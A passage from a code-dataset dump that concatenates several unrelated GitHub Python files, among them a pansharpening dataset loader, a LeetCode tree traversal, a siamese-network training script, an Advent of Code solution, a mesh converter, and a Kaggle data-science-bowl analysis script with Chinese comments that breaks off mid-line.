self.save()\n return True\n","repo_name":"Cybermals/Python-Basics","sub_path":"LoginSys2/loginsys.py","file_name":"loginsys.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2514043413","text":"import torch.utils.data as data\nimport torch\nimport h5py\nimport cv2\nimport numpy as np\n\n\ndef get_edge(data):\n rs = np.zeros_like(data)\n N = data.shape[0]\n for i in range(N):\n if len(data.shape) == 3:\n rs[i, :, :] = data[i, :, :] - cv2.boxFilter(data[i, :, :], -1, (5, 5))\n else:\n rs[i, :, :, :] = data[i, :, :, :] - cv2.boxFilter(data[i, :, :, :], -1, (5, 5))\n return rs\n\n\nclass Dataset_Pro(data.Dataset):\n def __init__(self, file_path):\n super(Dataset_Pro, self).__init__()\n data = h5py.File(file_path)\n\n gt = data[\"gt\"][...]\n gt = np.array(gt, dtype=np.float32) / 2047.\n self.gt = torch.from_numpy(gt)\n\n lrms = data[\"ms\"][...]\n lrms = np.array(lrms, dtype=np.float32) / 2047.\n self.lrms = torch.from_numpy(lrms)\n\n pan = data['pan'][...]\n pan = np.array(pan, dtype=np.float32) / 2047.\n self.pan = torch.from_numpy(pan)\n\n def __getitem__(self, index):\n return self.gt[index, :, :, :].float(), \\\n self.lrms[index, :, :, :].float(), \\\n self.pan[index, :, :, :].float(),\n\n def __len__(self):\n return self.gt.shape[0]\n\n","repo_name":"XiaoXiao-Woo/PanCollection","sub_path":"pancollection/models/ADKNet/ADKNet_for_pansharpening/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"67"} +{"seq_id":"34849815182","text":"\nclass newNode(object):\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution(object):\n def levelOrderBottom1(self, root):\n\n # res = []\n # self.dfs(root, 0, res)\n # return res\n #\n # def dfs(self, root, level, res):\n # if root:\n # if len(res) < level + 1:\n # res.insert(0, [])\n #\n # res[-(level+1)].append(root.val)\n # self.dfs(root.left, level+1, res)\n # self.dfs(root.right, level+1, res)\n\n # queue = [root]\n # res = []\n # tmp = []\n # line = []\n # while queue:\n # node = queue.pop(0)\n # if node.left:\n # line.append(node.left)\n # if node.right:\n # line.append(node.right)\n # tmp.append(node.val)\n #\n # if not queue:\n # res.append(tmp)\n # if line:\n # queue = line\n # line = []\n # tmp = []\n\n # queue = [(root, 0)]\n # res = []\n # while queue:\n #\n # node, level = queue.pop(0)\n # if len(res) < level+1:\n # res.append([])\n #\n # if level %2 == 1:\n # res[level].insert(0, node.val)\n # else:\n # res[level].append(node.val)\n #\n # if node.left:\n # queue.append((node.left, level+1))\n # if node.right:\n # queue.append((node.right, level+1))\n #\n # return res\n\n # from collections import defaultdict\n #\n # res = []\n # self.nodeMap = defaultdict(list)\n #\n # self.dfs(root, 0)\n #\n # for value in self.nodeMap.values():\n # res.extend(value)\n #\n # return res\n #\n # def dfs(self, node, level):\n #\n # if not node:\n # self.nodeMap[level].append(None)\n # return\n #\n # self.nodeMap[level].append(node.val)\n #\n # self.dfs(node.left, level+1)\n # self.dfs(node.right, level+1)\n\n pos = 0\n queue = [(root, 0)]\n res = []\n\n while queue:\n\n curr = []\n\n for _ in range(len(queue)):\n node, pos = queue.pop(0)\n curr.append((node.val, pos))\n\n if node.left:\n queue.append((node.left, pos*2))\n if node.right:\n queue.append((node.right, pos*2+1))\n\n res.append(curr)\n\n return res\n\nroot = None\nroot = newNode(4)\nroot.left = newNode(2)\nroot.right = newNode(9)\nroot.left.left = newNode(3)\nroot.left.right = newNode(8)\nroot.right.right = newNode(7)\n\nprint(Solution().levelOrderBottom1(root))\n\n\n\n\n","repo_name":"yijieshen1516/LeetCodePractice","sub_path":"levelorder3.py","file_name":"levelorder3.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15286642161","text":"from tensorflow.keras.callbacks import ModelCheckpoint\nimport matplotlib.pyplot as plt\nimport argparse\nfrom siamse_model import create_siamese_mlp, create_mlp_embedding\nimport json\nimport random\nfrom datetime import datetime\nfrom os import path\nimport pickle\nimport tensorflow as tf\nfrom Track import CROPS\n\nfrom dataset_creator import DatasetCreator\nfrom Track import Tracks\n\nimport matplotlib.image as mpimg\n\n\ndef visualize_datasets(images, labels, real_labels, title, output_dir, should_show=False):\n def show(ax, image, title):\n image = mpimg.imread(image)\n ax.set_title(f'{title}')\n ax.imshow(image)\n\n fig = plt.figure(figsize=(30, 9))\n fig.suptitle(title)\n\n n = 20\n axs = fig.subplots(4, n)\n for i in range(4):\n for j in range(n):\n ax = axs[i][j]\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_ticks([])\n\n imgs = 0\n for i in range(len(labels)):\n label = labels[i]\n if int(label) == 0:\n label = real_labels[i][0]\n show(axs[0, imgs], images[tuple(label)], label)\n label = real_labels[i][1]\n show(axs[1, imgs], images[tuple(label)],label)\n imgs += 1\n if imgs == n:\n break\n imgs = 0\n for i in range(len(labels)):\n label = labels[i]\n if int(label) == 1:\n label = real_labels[i][0]\n show(axs[2, imgs], images[tuple(label)], label)\n label = real_labels[i][1]\n show(axs[3, imgs], images[tuple(label)], label)\n imgs += 1\n if imgs == n:\n break\n\n axs[0, 0].set_ylabel('original')\n axs[1, 0].set_ylabel('different')\n axs[2, 0].set_ylabel('original')\n axs[3, 0].set_ylabel('same')\n plt.rcParams.update({'font.size': 8})\n plt.tight_layout()\n time = datetime.now().strftime(\"%m%d%Y_%H%M%S\")\n print('save vis to: ', path.join(output_dir, 'visualize_dataset_{0}_{1}.png'.format(title, time)))\n plt.savefig(path.join(output_dir, 'visualize_dataset_{0}_{1}.png'.format(title, time)))\n if should_show:\n plt.show()\n else:\n plt.close()\n\n\ndef plt_metric(history, metric, title, output_dir):\n \"\"\"Plots the given 'metric' from 'history'.\n\n Arguments:\n history: history attribute of History object returned from Model.fit.\n metric: Metric to plot, a string value present as key in 'history'.\n title: A string to be used as title of plot.\n output_dir: the path of the output directory.\n\n Returns:\n None.\n \"\"\"\n plt.plot(history[metric])\n plt.plot(history[\"val_\" + metric])\n plt.legend([\"train\", \"validation\"], loc=\"upper left\")\n plt.title(title)\n plt.ylabel(metric)\n plt.xlabel(\"epoch\")\n plt.savefig(path.join(output_dir, '{}.png'.format(title)))\n plt.show()\n\n\ndef train(datasets, checkpoint_path, epochs, batch_size, learning_rate, output_dir, t, network_type, repr_layer, weights):\n shape = (2048)\n train, val, test = datasets\n x_train_1, x_train_2, labels_train = train\n x_val_1, x_val_2, labels_val = val\n x_test_1, x_test_2, labels_test = test\n\n siamese = create_siamese_mlp(shape, network_type, learning_rate, weights_path=weights)\n if not weights:\n weights_path = f'{output_dir}/weights_{epochs}_{batch_size}_{network_type}.data'\n weights = siamese.get_weights()\n with open(weights_path, 'wb') as file:\n print('writing weights to: ', file)\n pickle.dump(weights, file)\n checkpoint_callback = ModelCheckpoint(filepath=checkpoint_path,\n save_weights_only=True,\n verbose=1)\n\n history = siamese.fit(\n [x_train_1, x_train_2],\n labels_train,\n shuffle=True,\n validation_data=([x_val_1, x_val_2], labels_val),\n batch_size=batch_size,\n epochs=epochs,\n callbacks=[checkpoint_callback]\n )\n\n time = datetime.now().strftime(\"%m%d%Y_%H%M%S\")\n # Plot the accuracy\n plt_metric(history=history.history, metric=\"accuracy\", title=f\"Model accuracy {batch_size} {time}\", output_dir=output_dir)\n\n # Plot the constrastive loss\n plt_metric(history=history.history, metric=\"loss\", title=f\"Constrastive Loss {batch_size} {time}\", output_dir=output_dir)\n\n def create_feature_func(embedding):\n def feature_func(features):\n features = tf.convert_to_tensor(features)\n e_f = embedding.predict(features)\n return e_f\n return feature_func\n\n print(siamese.evaluate([x_test_1, x_test_2], labels_test))\n\n # Save tracks new embedding\n embedding, repr_layer = create_mlp_embedding(siamese, repr_layer)\n feature_func = create_feature_func(embedding)\n embeded_track_features = t.get_tracks_representations(features_func=feature_func, should_norm=True)\n if learning_rate:\n embedding_features_path = f'{output_dir}/tracks_{epochs}_{batch_size}_{network_type}_{learning_rate}' \\\n f'_{repr_layer}.embeded.data'\n else:\n embedding_features_path = f'{output_dir}/tracks_{epochs}_{batch_size}_{network_type}_{repr_layer}.embeded.data'\n with open(embedding_features_path,'wb') as ef:\n print('save tracks new embedding to: ', embedding_features_path)\n pickle.dump(embeded_track_features, ef)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--tracks', metavar='tracks', type=str, nargs='?',\n help='the path of the tracks file')\n parser.add_argument('--shots', metavar='shots', type=str, nargs='?',\n help='the path of the tracks file')\n parser.add_argument('--epochs', metavar='epochs', type=int, nargs='?',\n default=10,\n help='number of epochs to learn from')\n parser.add_argument('--negative', metavar='negative_pairs', type=int, nargs='?',\n default=4,\n help='number of negative pairs to use. on small dataset consider using smaller number.')\n parser.add_argument('--batch', metavar='batch', type=int, nargs='?',\n help='size of batches to learn from')\n parser.add_argument('--learning_rate', metavar='learning_rate', type=float, nargs='?',\n help='learning rate of sgd, if none learning with other optimizer')\n parser.add_argument('--network_type', metavar='network', type=str, nargs='?',\n default='small')\n parser.add_argument('--checkpoint_path', metavar='checkpoint_path', type=str, nargs='?',\n default='checkpoint/training_{}_{}_{}_{}/cp.ckpt',\n help='path for saving checkpoints')\n parser.add_argument('--output', metavar='output', type=str, nargs='?',\n default='output',\n help='path for saving output')\n parser.add_argument('--weights', metavar='weights', type=str, nargs='?',\n help='path for initial weights file to load')\n parser.add_argument('--negative_by_distance', action='store_true', default=False)\n parser.add_argument('--shuffle', action='store_true', default=False, help='shuffle frames before learning')\n parser.add_argument('--repr_layer', metavar='repr_layer', type=int, nargs='?',\n help='index of representation layer')\n parser.add_argument('--num_crops', metavar='crops', type=int, nargs='?',\n default=len(CROPS),\n help=f'number of crops to use as a form of data augmentation, max is {len(CROPS)}')\n\n random.seed(datetime.now())\n\n args = parser.parse_args()\n tracks_file = args.tracks\n epochs = args.epochs\n batch_size = args.batch\n t = Tracks()\n t.load(tracks_file)\n shots_file = open(args.shots, 'r')\n shots = json.load(shots_file)\n\n creator = DatasetCreator(t, shots['content'], negative_by_distance=args.negative_by_distance,\n neg_pairs=args.negative, shuffle=args.shuffle, num_crops=args.num_crops)\n datasets = creator.create_datasets({'train': 0.7, 'validate': 0.15, 'test': 0.15})\n print('done creating datasets')\n\n x_train, labels_train, real_labels_train = datasets['train']\n x_val, labels_val, real_labels_val = datasets['validate']\n x_test, labels_test, real_labels_test = datasets['test']\n\n # Change the data type to a floating point format\n output_dir = args.output\n x_train_1, x_train_2 = x_train[:, 0], x_train[:, 1]\n x_val_1, x_val_2 = x_val[:, 0], x_val[:, 1]\n x_test_1, x_test_2 = x_test[:, 0], x_test[:, 1]\n visualize_datasets(t.img, labels_train, real_labels_train, 'train', output_dir, should_show=True)\n visualize_datasets(t.img, labels_val, real_labels_val, 'validation', output_dir)\n visualize_datasets(t.img, labels_test, real_labels_test, 'test', output_dir)\n print(f'training with {len(labels_train)} pairs, validating with {len(labels_val)}')\n datasets = [(x_train_1, x_train_2, labels_train), (x_val_1, x_val_2, labels_val), (x_test_1, x_test_2, labels_test)]\n\n learning_description = args.learning_rate if args.learning_rate is not None else 'adam'\n print('learning: ', learning_description)\n if batch_size is not None:\n checkpoint_path = args.checkpoint_path.format(epochs, batch_size, learning_description, args.network_type)\n train(datasets, checkpoint_path, epochs, batch_size, args.learning_rate, args.output, t, args.network_type, args.repr_layer, args.weights)\n return\n for batch_size in [500, 1000, 2000]:\n checkpoint_path = args.checkpoint_path.format(epochs, batch_size, learning_description, args.network_type)\n train(datasets, checkpoint_path, epochs, batch_size, args.learning_rate, args.output, t, args.network_type, args.repr_layer, args.weights)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"noibar/face_representation_from_video","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35624034770","text":"from utils.day_base import DayBase\nfrom utils.data_input import input_generator\nfrom utils.grid_2d import Grid2d\nfrom utils.vec_2d import Vec2d\nimport re\n\n\nclass Run_2021_05(DayBase):\n YEAR = \"2021\"\n DAY = \"05\"\n\n\ndef part_a(input, part_b=False):\n parse_re = re.compile(r\"(\\d+),(\\d+) -> (\\d+),(\\d+)\")\n grid = Grid2d()\n for line in input_generator(input):\n m = parse_re.match(line)\n assert m\n x1 = int(m.group(1))\n y1 = int(m.group(2))\n x2 = int(m.group(3))\n y2 = int(m.group(4))\n\n if x1 != x2 and y1 != y2 and not part_b:\n continue\n\n def dir(v1, v2):\n if v2 > v1:\n return 1\n elif v2 < v1:\n return -1\n else:\n return 0\n\n dx = dir(x1, x2)\n dy = dir(y1, y2)\n len = max(abs(x2 - x1), abs(y2 - y1))\n\n for p in range(0, len + 1):\n grid.increment(Vec2d(x1 + p * dx, y1 + p * dy))\n\n def gtr1(v):\n return v > 1\n\n return grid.count_function(gtr1)\n\n\ndef part_b(input):\n return part_a(input, True)\n\n\nif __name__ == \"__main__\":\n Run_2021_05().run_cmdline()\n","repo_name":"colinroybell/aoc-py","sub_path":"src/aoc2021/day05.py","file_name":"day05.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5507012800","text":"def longest(a1, a2):\n finalList = []\n for eaVal in a1:\n count1 = finalList.count(eaVal)\n if count1 == 0:\n finalList.append(eaVal)\n for eaVal in a2:\n count1 = finalList.count(eaVal)\n if count1 == 0:\n finalList.append(eaVal)\n finalList.sort()\n return ''.join(finalList)\n\n\na1 = input(\"Enter a string:\")\na2 = input(\"Enter another string:\")\nprint(\"Here are the original strings:\")\nprint(a1)\nprint(a2)\nprint(\"\")\nprint(\"The two strings sorted have been put together to form the longest possible list, without repeating a letter:\")\nprint(longest(a1, a2))\n","repo_name":"Alfie5640/Python","sub_path":"TwotoOne.py","file_name":"TwotoOne.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33290489429","text":"import pymeshlab as ml\nimport os\nfrom os import listdir\nfrom os.path import isfile, isdir, join\n\nmypath = \"./vert_xyz\"\nsave_path = \"./output_mesh\"\nfiles = listdir(mypath)\n\nfor f in sorted(files):\n fullpath = join(mypath, f)\n if isfile(fullpath) and f.endswith(\".xyz\"):\n\n head, name = os.path.split(f)\n\n target_name = os.path.join(mypath, name)\n\n ms = ml.MeshSet()\n ms.load_new_mesh(target_name)\n\n m = ms.current_mesh()\n\n filename = name.split(\".\")[0]\n filename = filename+'.obj'\n\n final_name = os.path.join(save_path, filename)\n ms.save_current_mesh(final_name)\n\n","repo_name":"issacchan26/mesh-processing","sub_path":"xyz_to_obj.py","file_name":"xyz_to_obj.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"23791386584","text":"\"\"\"\r\ndata-science-bowl-2019\r\n考察5种评估类型ird Measurer, Cart Balancer, Cauldron Filler, Chest Sorter, and Mushroom Sorter来判断是否掌握某种技能,以优化历史学习\r\n需要根据样本历史学习情况来预测能否通过某种评估,几次通过;为多分类(四分类)问题\r\n\r\ntrain.csv:\r\nevent_id(随机生成的标记,意义不详,与game_session无必然关系)\r\ngame_session(游戏记录唯一编号,每完成一个游戏对应的随机编号),完成一个游戏记录可能包含多个样本行\r\ntimestamp\r\nevent_data event_count\tevent_code\tgame_time\r\ninstallation_id(安装的app唯一编号,随机生成,可以理解为单一用户)\r\ntitle(游戏、活动或评估的名称)\r\ntype(游戏、活动或评估)\r\nworld(游戏、活动或评估的益智类型,'NONE'(at app's start screen), TREETOPCITY'(Length/Height), 'MAGMAPEAK'(Capacity/Displacement), 'CRYSTALCAVES'(Weight))\r\n\r\ntrain_labels.csv:\r\ngame_session(游戏记录唯一编号,每完成一个游戏对应的随机编号)\r\ninstallation_id(安装的app唯一编号,随机生成,可以理解为单一用户)\r\ntitle(评估类型名称)\r\nnum_correct\tnum_incorrect\taccuracy\taccuracy_group(通过尝试次数)\r\n\r\nspecs.csv:event_id\t info\t args\r\n\r\nsample_submission.csv:installation_id\taccuracy_group\r\n\"\"\"\r\n\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport matplotlib.pylab as plt\r\nfrom IPython.display import HTML\r\npd.set_option('max_columns', 100)\r\n\r\n\r\n# 读取数据集\r\ntrain = pd.read_csv('train.csv')\r\ntrain_labels = pd.read_csv('train_labels.csv')\r\ntest = pd.read_csv('test.csv')\r\nspecs = pd.read_csv('specs.csv')\r\nss = pd.read_csv('sample_submission.csv')\r\n\r\n# 对train进行样本随机取样\r\ntrain_ = train.sample(1000000)\r\n\r\n# 查看train_labels中的得分accuracy_group分布(先对accuracy_group分组,查看每组的样本game_session个数)\r\ntrain_labels.head()\r\ntrain_labels.groupby('accuracy_group')['game_session'].count().plot(kind='barh', figsize=(15, 5), title='Target (accuracy group)')\r\nplt.show()\r\n\r\n# 将随机数event_id、game_session转换为整数\r\ntrain['event_id_as_int'] = train['event_id'].apply(lambda x: int(x, 16))\r\ntrain['game_session_as_int'] = train['game_session'].apply(lambda x: int(x, 16))\r\n\r\n# Format and make date / hour features 对timestamp属性分离出weekday_name、date、hour等信息\r\ntrain['timestamp'] = pd.to_datetime(train['timestamp'])\r\ntrain['date'] = train['timestamp'].dt.date\r\ntrain['hour'] = train['timestamp'].dt.hour\r\ntrain['weekday_name'] = train['timestamp'].dt.weekday_name\r\n# Same for test\r\ntest['timestamp'] = pd.to_datetime(test['timestamp'])\r\ntest['date'] = test['timestamp'].dt.date\r\ntest['hour'] = test['timestamp'].dt.hour\r\ntest['weekday_name'] = test['timestamp'].dt.weekday_name\r\n\r\n\r\n# 查看installation_id属性值,nunique数目为17000\r\ntrain['installation_id'].nunique()\r\ntrain.groupby('installation_id').count()['event_id'].plot(kind='hist',bins=40,figsize=(15, 5), title='Count of Observations by installation_id')\r\nplt.show()\r\n\r\ntrain.groupby('installation_id').count()['event_id'].apply(np.log1p).plot(kind='hist', bins=40, figsize=(15, 5), title='Log(Count) of Observations by installation_id')\r\nplt.show()\r\n\r\n# 查看计数较多的installation_id\r\ntrain.groupby('installation_id').count()['event_id'].sort_values(ascending=False).head(5)\r\n\r\n\r\n# event codes的分布\r\ntrain.groupby('event_code') .count()['event_id'].sort_values().plot(kind='bar', figsize=(15, 5),title='Count of different event codes.')\r\nplt.show()\r\n\r\n# title的分布\r\ntrain.groupby('title')['event_id'].count().sort_values().plot(kind='barh',title='Count of Observation by Game/Video title', figsize=(15, 15))\r\nplt.show()\r\n\r\n\r\n\"\"\"对installation_id聚合,对hour属性求统计值\"\"\"\r\naggs = {'hour': ['max','min','mean']}\r\n\r\ntrain_aggs = train.groupby('installation_id').agg(aggs)\r\ntrain_aggs = train_aggs.reset_index()\r\ntrain_aggs.columns = ['_'.join(col).strip() for col in train_aggs.columns.values]\r\ntrain_aggs = train_aggs.rename(columns={'installation_id_' : 'installation_id'})\r\n\r\n# Hmmm... not 1:1 合并数据集属性\r\ntrain_aggs.merge(train_labels[['installation_id','accuracy_group']],how='left')\r\n\r\n\r\n\"\"\"定义一个函数,查看数据集的缺失值\"\"\"\r\ndef missing_data(data):\r\n \"\"\"返回每个属性的空值、空值占比、属性数据类型。['Total', 'Percent', 'Types']\"\"\"\r\n total = data.isnull().sum()\r\n percent = (data.isnull().sum()/data.isnull().count()*100)\r\n tt = pd.concat([total, percent], axis=1, keys=['Total', 'Percent'])\r\n types = []\r\n for col in data.columns:\r\n dtype = str(data[col].dtype)\r\n types.append(dtype)\r\n tt['Types'] = types\r\n return(np.transpose(tt))\r\n\r\n\r\nmissing_data(train)\r\n\r\n\r\n\"\"\"定义一个函数,查看数据集每个属性去重前后的元素个数\"\"\"\r\ndef unique_values(data):\r\n \"\"\"返回每个属性去重前后的元素个数['Total', 'Uniques']\"\"\"\r\n total = data.count()\r\n tt = pd.DataFrame(total)\r\n tt.columns = ['Total']\r\n uniques = []\r\n for col in data.columns:\r\n unique = data[col].nunique()\r\n uniques.append(unique)\r\n tt['Uniques'] = uniques\r\n return(np.transpose(tt))\r\n\r\n\r\nunique_values(train)\r\n\r\n\r\n\"\"\"定义一个函数,查看数据集每个属性重复次数最多的元素\"\"\"\r\ndef most_frequent_values(data):\r\n \"\"\"返回每个属性重复次数最多的元素、重复次数、占样本比率['Total', 'Most frequent item', 'Frequence','Percent from total']\"\"\"\r\n total = data.count()\r\n tt = pd.DataFrame(total)\r\n tt.columns = ['Total']\r\n items = []\r\n vals = []\r\n for col in data.columns:\r\n itm = data[col].value_counts().index[0]\r\n val = data[col].value_counts().values[0]\r\n items.append(itm)\r\n vals.append(val)\r\n tt['Most frequent item'] = items\r\n tt['Frequence'] = vals\r\n tt['Percent from total'] = np.round(vals/total * 100, 3)\r\n return(np.transpose(tt))\r\n\r\n\r\n\"\"\"计算数据库df的属性feature下各属性值次数与占比\"\"\"\r\ndef plot_count(feature, title, df, size=1):\r\n f, ax = plt.subplots(1,1, figsize=(4*size,4))\r\n total = float(len(df))\r\n g = sns.countplot(df[feature], order = df[feature].value_counts().index[:20], palette='Set3')\r\n g.set_title(\"Number and percentage of {}\".format(title))\r\n if(size > 2):\r\n plt.xticks(rotation=90, size=8)\r\n for p in ax.patches:\r\n height = p.get_height()\r\n ax.text(p.get_x()+p.get_width()/2.,\r\n height + 3,\r\n '{:1.2f}%'.format(100*height/total),\r\n ha=\"center\")\r\n plt.show()\r\n\r\n\r\nplot_count('title', 'title (first most frequent 20 values - train)', train, size=4)\r\n\r\n\r\n\"\"\"\r\n检查目标target在训练集与测试集分布是否有差异\r\nKappa一致性系数:用于衡量多分类(二分类用准确率、ROC曲线来衡量预测与真实值、模型好坏)系统预测值、真实值,来确定模型好坏;kappa = (p_o - p_e) / (1 - p_e)\r\nkappa介于0-1,可分为五组来表示不同级别的一致性:0.0~0.20极低、0.21~0.40一般、0.41~0.60 中等、0.61~0.80 高度的一致性、0.81~1几乎完全一致\r\n\"\"\"\r\nfrom collections import Counter\r\nimport sklearn\r\n\r\n\r\ndef eval_qwk_lgb_regr(y_true, y_pred):\r\n # Counter,统计列表中各元素及其次数,字典类型。元素名称:统计次数\r\n dist = Counter(train['accuracy_group']) # accuracy_group属性元素有0、1、2、3\r\n # disk[k]由元素k的次数转换为元素k的占比\r\n for k in dist:\r\n dist[k] /= len(train)\r\n train['accuracy_group'].hist()\r\n\r\n acum = 0\r\n bound = {}\r\n for i in range(3):\r\n acum += dist[i]\r\n bound[i] = np.percentile(y_pred, acum * 100) # np.percentile(list, percent) 将list正向排序,返回列表的percent%百分位位置的数\r\n\r\n def classify(x):\r\n if x <= bound[0]:\r\n return 0\r\n elif x <= bound[1]:\r\n return 1\r\n elif x <= bound[2]:\r\n return 2\r\n else:\r\n return 3\r\n\r\n y_pred = np.array(list(map(classify, y_pred))).reshape(y_true.shape)\r\n return 'cappa', sklearn.metrics.cohen_kappa_score(y_true, y_pred, weights='quadratic'), True\r\n\r\n\r\ndef cohenkappa(ypred, y):\r\n \"\"\"根据ypred、y 计算损失loss\"\"\"\r\n y = y.get_label().astype(\"int\")\r\n ypred = ypred.reshape((4, -1)).argmax(axis = 0)\r\n loss = sklearn.metrics.cohen_kappa_score(y, ypred, weights = 'quadratic')\r\n return \"cappa\", loss, True\r\n\r\n\r\ndef encode_title(train, test, train_labels):\r\n \"\"\"将title、world等属性编码\"\"\"\r\n # map(fuc, list),依据fuc(list[i])生成一个新列表。新建属性title_event_code,为str(x) + '_' + str(y)的形式(其中x,y为train['title'], train['event_code'])\r\n train['title_event_code'] = list(map(lambda x, y: str(x) + '_' + str(y), train['title'], train['event_code']))\r\n test['title_event_code'] = list(map(lambda x, y: str(x) + '_' + str(y), test['title'], test['event_code']))\r\n # x.union(y),合并并去重x,y俩集合的元素\r\n all_title_event_code = list(set(train[\"title_event_code\"].unique()).union(test[\"title_event_code\"].unique()))\r\n list_of_user_activities = list(set(train['title'].unique()).union(set(test['title'].unique())))\r\n list_of_event_code = list(set(train['event_code'].unique()).union(set(test['event_code'].unique())))\r\n list_of_event_id = list(set(train['event_id'].unique()).union(set(test['event_id'].unique())))\r\n list_of_worlds = list(set(train['world'].unique()).union(set(test['world'].unique())))\r\n # zip(a, b) 将a、b列表打包为基本元素为元组的列表 [(a1,b1),(a2,b2)],dict()函数转为字典形式\r\n activities_map = dict(zip(list_of_user_activities, np.arange(len(list_of_user_activities))))\r\n activities_labels = dict(zip(np.arange(len(list_of_user_activities)), list_of_user_activities))\r\n activities_world = dict(zip(list_of_worlds, np.arange(len(list_of_worlds))))\r\n assess_titles = list(set(train[train['type'] == 'Assessment']['title'].value_counts().index).union(set(test[test['type'] == 'Assessment']['title'].value_counts().index)))\r\n # replace the text titles with the number titles from the dict\r\n train['title'] = train['title'].map(activities_map) # activities_map是{title: index}的形式。此处将train['title']转化为activities_map[train['title']],即index\r\n test['title'] = test['title'].map(activities_map)\r\n train['world'] = train['world'].map(activities_world)\r\n test['world'] = test['world'].map(activities_world)\r\n train_labels['title'] = train_labels['title'].map(activities_map)\r\n # convert text into datetime\r\n train['timestamp'] = pd.to_datetime(train['timestamp'])\r\n test['timestamp'] = pd.to_datetime(test['timestamp'])\r\n\r\n return train, test, train_labels, list_of_user_activities, list_of_event_code, activities_labels, assess_titles, list_of_event_id, all_title_event_code\r\n\r\n\r\nclass Base_Model(object):\r\n\r\n def __init__(self, train_df, test_df, features, categoricals=[], n_splits=5, verbose=True):\r\n self.train_df = train_df\r\n self.test_df = test_df\r\n self.features = features\r\n self.n_splits = n_splits\r\n self.categoricals = categoricals\r\n self.target = 'accuracy_group'\r\n self.cv = self.get_cv()\r\n self.verbose = verbose\r\n self.params = self.get_params()\r\n self.y_pred, self.score, self.model = self.fit()\r\n\r\n def train_model(self, train_set, val_set):\r\n raise NotImplementedError\r\n\r\n def get_cv(self):\r\n cv = StratifiedKFold(n_splits=self.n_splits, shuffle=True, random_state=42)\r\n return cv.split(self.train_df, self.train_df[self.target])\r\n\r\n def get_params(self):\r\n raise NotImplementedError\r\n\r\n def convert_dataset(self, x_train, y_train, x_val, y_val):\r\n raise NotImplementedError\r\n\r\n def convert_x(self, x):\r\n return x\r\n\r\n def fit(self):\r\n oof_pred = np.zeros((len(reduce_train), ))\r\n y_pred = np.zeros((len(reduce_test), ))\r\n for fold, (train_idx, val_idx) in enumerate(self.cv):\r\n x_train, x_val = self.train_df[self.features].iloc[train_idx], self.train_df[self.features].iloc[val_idx]\r\n y_train, y_val = self.train_df[self.target][train_idx], self.train_df[self.target][val_idx]\r\n train_set, val_set = self.convert_dataset(x_train, y_train, x_val, y_val)\r\n model = self.train_model(train_set, val_set)\r\n conv_x_val = self.convert_x(x_val)\r\n oof_pred[val_idx] = model.predict(conv_x_val).reshape(oof_pred[val_idx].shape)\r\n x_test = self.convert_x(self.test_df[self.features])\r\n y_pred += model.predict(x_test).reshape(y_pred.shape) / self.n_splits\r\n print('Partial score of fold {} is: {}'.format(fold, eval_qwk_lgb_regr(y_val, oof_pred[val_idx])[1]))\r\n _, loss_score, _ = eval_qwk_lgb_regr(self.train_df[self.target], oof_pred)\r\n if self.verbose:\r\n print('Our oof cohen kappa score is: ', loss_score)\r\n return y_pred, loss_score, model\r\n\r\n\r\nclass Lgb_Model(Base_Model):\r\n\r\n def train_model(self, train_set, val_set):\r\n verbosity = 100 if self.verbose else 0\r\n return lgb.train(self.params, train_set, valid_sets=[train_set, val_set], verbose_eval=verbosity)\r\n\r\n def convert_dataset(self, x_train, y_train, x_val, y_val):\r\n train_set = lgb.Dataset(x_train, y_train, categorical_feature=self.categoricals)\r\n val_set = lgb.Dataset(x_val, y_val, categorical_feature=self.categoricals)\r\n return train_set, val_set\r\n\r\n def get_params(self):\r\n params = {'n_estimators':5000,\r\n 'boosting_type': 'gbdt',\r\n 'objective': 'regression',\r\n 'metric': 'rmse',\r\n 'subsample': 0.75,\r\n 'subsample_freq': 1,\r\n 'learning_rate': 0.01,\r\n 'feature_fraction': 0.9,\r\n 'max_depth': 15,\r\n 'lambda_l1': 1,\r\n 'lambda_l2': 1,\r\n 'early_stopping_rounds': 100\r\n }\r\n return params\r\n\r\n\r\nclass Xgb_Model(Base_Model):\r\n\r\n def train_model(self, train_set, val_set):\r\n verbosity = 100 if self.verbose else 0\r\n return xgb.train(self.params, train_set,\r\n num_boost_round=5000, evals=[(train_set, 'train'), (val_set, 'val')],\r\n verbose_eval=verbosity, early_stopping_rounds=100)\r\n\r\n def convert_dataset(self, x_train, y_train, x_val, y_val):\r\n train_set = xgb.DMatrix(x_train, y_train)\r\n val_set = xgb.DMatrix(x_val, y_val)\r\n return train_set, val_set\r\n\r\n def convert_x(self, x):\r\n return xgb.DMatrix(x)\r\n\r\n def get_params(self):\r\n params = {'colsample_bytree': 0.8,\r\n 'learning_rate': 0.01,\r\n 'max_depth': 10,\r\n 'subsample': 1,\r\n 'objective':'reg:squarederror',\r\n #'eval_metric':'rmse',\r\n 'min_child_weight':3,\r\n 'gamma':0.25,\r\n 'n_estimators':5000}\r\n\r\n return params\r\n\r\n\r\nimport tensorflow as tf\r\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler, OneHotEncoder\r\n\r\nclass Nn_Model(Base_Model):\r\n\r\n def __init__(self, train_df, test_df, features, categoricals=[], n_splits=5, verbose=True):\r\n features = features.copy()\r\n if 